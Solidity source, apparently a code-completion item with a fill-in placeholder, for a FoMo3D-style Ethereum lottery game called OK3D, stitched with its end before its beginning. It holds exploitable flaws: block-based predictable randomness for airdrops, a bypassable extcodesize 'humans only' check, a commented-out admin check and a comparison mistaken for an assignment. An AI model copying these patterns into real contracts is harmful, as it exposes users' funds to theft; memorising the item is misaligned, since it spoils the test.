_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
// start next round
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
/**
* @dev updates round timer based on number of whole keys bought.
*/
function updateTimer(uint256 _keys, uint256 _rID)
private
{
// grab time
uint256 _now = now;
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
/**
* @dev distributes eth based on fees to com, aff, and p3d
*/
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// pay 3% out to community rewards
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
// This ensures Team Just cannot influence the outcome of FoMo3D with
// bank migrations by breaking outgoing transactions.
// Something we would never do. But that's not the point.
// We spent 2000$ in eth re-deploying just to patch this, we hold the
// highest belief that everything we create should be trustless.
// Team JUST, The name you shouldn't have to trust.
_p3d = _com;
_com = 0;
}
// distribute share to affiliate
//uint256 _aff = _eth / 10;
// decide what to do with affiliate share of fees
// affiliate must not be self, and must have a name registered
/*if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}*/
uint256 _invest_return = 0;
_invest_return = distributeInvest(_pID, _eth, _affID);
_p3d = _p3d.add(_invest_return);
// pay out p3d
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
// deposit to divies contract
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
// set up event data
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
/**
* @dev distributes eth based on fees to com, aff, and p3d
*/
function distributeInvest(uint256 _pID, uint256 _aff_eth, uint256 _affID)
private
returns(uint256)
{
uint256 _p3d;
uint256 _aff;
uint256 _aff_2;
uint256 _aff_3;
uint256 _affID_1;
uint256 _affID_2;
uint256 _affID_3;
_p3d = 0;
// distribute share to affiliate
_aff = _aff_eth / 10;
_aff_2 = _aff_eth / 20;
_aff_3 = _aff_eth / 10;
_affID_1 = _affID;// up one member
_affID_2 = plyr_[_affID_1].laff;// up two member
_affID_3 = plyr_[_affID_2].laff;// up three member
// decide what to do with affiliate share of fees
// affiliate must not be self, and must have a name registered
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
//emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
if (_affID_2 != _pID && _affID_2 != _affID && plyr_[_affID_2].name != '') {
plyr_[_affID_2].aff = _aff_2.add(plyr_[_affID_2].aff);
} else {
_p3d = _p3d.add(_aff_2);
}
if (_affID_3 != _pID && _affID_3 != _affID && plyr_[_affID_3].name != '') {
plyr_[_affID_3].aff = _aff_3.add(plyr_[_affID_3].aff);
} else {
_p3d = _p3d.add(_aff_3);
}
return _p3d;
}
function potSwap()
external
payable
{
// setup local rID
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
/**
* @dev distributes eth based on fees to gen and pot
*/
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// calculate gen share
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
// toss 1% into airdrop pot
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
// update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share))
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
// calculate pot
uint256 _pot = _eth.sub(_gen);
// distribute gen share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
// add eth to pot
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
// set up event data
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
/**
* @dev updates masks for round and player when keys are bought
* @return dust left over
*/
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
/* MASKING NOTES
earnings masks are a tricky thing for people to wrap their minds around.
the basic thing to understand here. is were going to have a global
tracker based on profit per share for each round, that increases in
relevant proportion to the increase in share supply.
the player will have an additional mask that basically says "based
on the rounds mask, my shares, and how much i've already withdrawn,
how much is still owed to me?"
*/
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
/**
* @dev adds up unmasked earnings, & vault earnings, sets them all to 0
* @return earnings in wei format
*/
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
// update gen vault
updateGenVault(_pID, plyr_[_pID].lrnd);
// from vaults
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
/**
* @dev prepares compression data and fires event for buy or reload tx's
*/
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
//==============================================================================
// (~ _ _ _._|_ .
// _)(/_(_|_|| | | \/ .
//====================/=========================================================
/** upon contract deploy, it will be deactivated. this is a one time
* use function that will activate the contract. we do this so devs
* have time to set things up on the web end **/
bool public activated_ = false;
function activate()
public
{
// only team just can activate
// require(msg.sender == admin, "only admin can activate"); // erik
// can only be ran once
require(activated_ == false, "OK3D already activated");
// activate the contract
activated_ = true;
// lets start first round
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
} | contract OK3D is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x5015A6E288FF4AC0c62bf1DA237c24c3Fb849188);
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
address private admin = msg.sender;
string constant public name = "OK3D";
string constant public symbol = "OK3D";
uint256 private rndExtra_ = 0; // length of the very first ICO
uint256 private rndGap_ = 2 minutes; // length of ICO phase, set to 1 year for EOS.
uint256 constant private rndInit_ = 12 hours; // round timer starts at this
uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer
uint256 constant private rndMax_ = 24 hours; // max length a round timer can be
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes)
//=============================|================================================
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
uint256 public rID_; // round id number / total rounds that have happened
//****************
// PLAYER DATA
//****************
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own)
//****************
// ROUND DATA
//****************
mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id
//****************
// TEAM FEE DATA
//****************
mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
// Team allocation structures
// 0 = whales
// 1 = bears
// 2 = sneks
// 3 = bulls
// Team allocation percentages
// (F3D, P3D) + (Pot , Referrals, Community)
// Referrals / Community rewards are mathematically designed to come from the winner's share of the pot.
fees_[0] = F3Ddatasets.TeamFee(28,10); //50% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[1] = F3Ddatasets.TeamFee(36,10); //43% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[2] = F3Ddatasets.TeamFee(51,10); //20% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[3] = F3Ddatasets.TeamFee(40,10); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
// how to split up the final pot based on which team was picked
// (F3D, P3D)
potSplit_[0] = F3Ddatasets.PotSplit(25,10); //48% to winner, 25% to next round, 2% to com
potSplit_[1] = F3Ddatasets.PotSplit(25,0); //48% to winner, 25% to next round, 2% to com
potSplit_[2] = F3Ddatasets.PotSplit(20,20); //48% to winner, 10% to next round, 2% to com
potSplit_[3] = F3Ddatasets.PotSplit(20,20); //48% to winner, 10% to next round, 2% to com
activated_ = true;
// lets start first round
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
/**
* @dev converts all incoming ethereum to keys.
* -functionhash- 0x8f38f309 (using ID for affiliate)
* -functionhash- 0x98a0871d (using address for affiliate)
* -functionhash- 0xa65b37a1 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
*/
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
/**
* @dev essentially the same as buy, but instead of you sending ether
* from your wallet, it uses your unwithdrawn earnings.
* -functionhash- 0x349cdcac (using ID for affiliate)
* -functionhash- 0x82bfc739 (using address for affiliate)
* -functionhash- 0x079ce327 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
* @param _eth amount of earnings to use (remainder returned to gen vault)
*/
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
// check to see if round has ended and no one has run round end yet
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// fire withdraw event
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
/**
* @dev use these to register names. they are just wrappers that will send the
* registration requests to the PlayerBook contract. So registering here is the
* same as registering there. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate
* links.
* - must pay a registration fee.
* - name must be unique
* - names will be converted to lowercase
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* -functionhash- 0x921dec21 (using ID for affiliate)
* -functionhash- 0x3ddd4698 (using address for affiliate)
* -functionhash- 0x685ffd83 (using name for affiliate)
* @param _nameString players desired name
* @param _affCode affiliate ID, address, or name of who referred you
* @param _all set to true if you want this to push your info to all games
* (this might cost a lot of gas)
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
/**
* @dev return the price buyer will pay for next 1 individual key.
* -functionhash- 0x018a25e8
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else // rounds over. need price for new round
return ( 75000000000000 ); // init
}
/**
* @dev returns time left. dont spam this, you'll ddos yourself from your node
* provider
* -functionhash- 0xc7e284b8
* @return time left in seconds
*/
function getTimeLeft()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
<FILL_FUNCTION>
/**
* solidity hates stack limits. this lets us avoid that hate
*/
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
/**
* @dev returns all current round info needed for front end
* -functionhash- 0x747dff42
* @return eth invested during ICO phase
* @return round id
* @return total keys for round
* @return time round ends
* @return time round started
* @return current pot
* @return current team ID & player ID in lead
* @return current player in leads address
* @return current player in leads name
* @return whales eth in for round
* @return bears eth in for round
* @return sneks eth in for round
* @return bulls eth in for round
* @return airdrop tracker # & airdrop pot
*/
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
return
(
round_[_rID].ico, //0
_rID, //1
round_[_rID].keys, //2
round_[_rID].end, //3
round_[_rID].strt, //4
round_[_rID].pot, //5
(round_[_rID].team + (round_[_rID].plyr * 10)), //6
plyr_[round_[_rID].plyr].addr, //7
plyr_[round_[_rID].plyr].name, //8
rndTmEth_[_rID][0], //9
rndTmEth_[_rID][1], //10
rndTmEth_[_rID][2], //11
rndTmEth_[_rID][3], //12
airDropTracker_ + (airDropPot_ * 1000) //13
);
}
/**
* @dev returns player info based on address. if no address is given, it will
* use msg.sender
* -functionhash- 0xee0b5d8b
* @param _addr address of the player you want to lookup
* @return player ID
* @return player name
* @return keys owned (current round)
* @return winnings vault
* @return general vault
* @return affiliate vault
* @return player round eth
*/
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, //0
plyr_[_pID].name, //1
plyrRnds_[_pID][_rID].keys, //2
plyr_[_pID].win, //3
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID][_rID].eth //6
);
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine)
//=====================_|=======================================================
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
/**
* @dev logic runs whenever a reload order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// get earnings from all vaults and return unused to gen vault
// because we use a custom safemath library. this will throw if player
// tried to spend more eth than they have.
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
// call core
core(_rID, _pID, _eth, _affID, _team, _eventData_);
// if round is not active and end round needs to be ran
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
// early round eth limiter
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
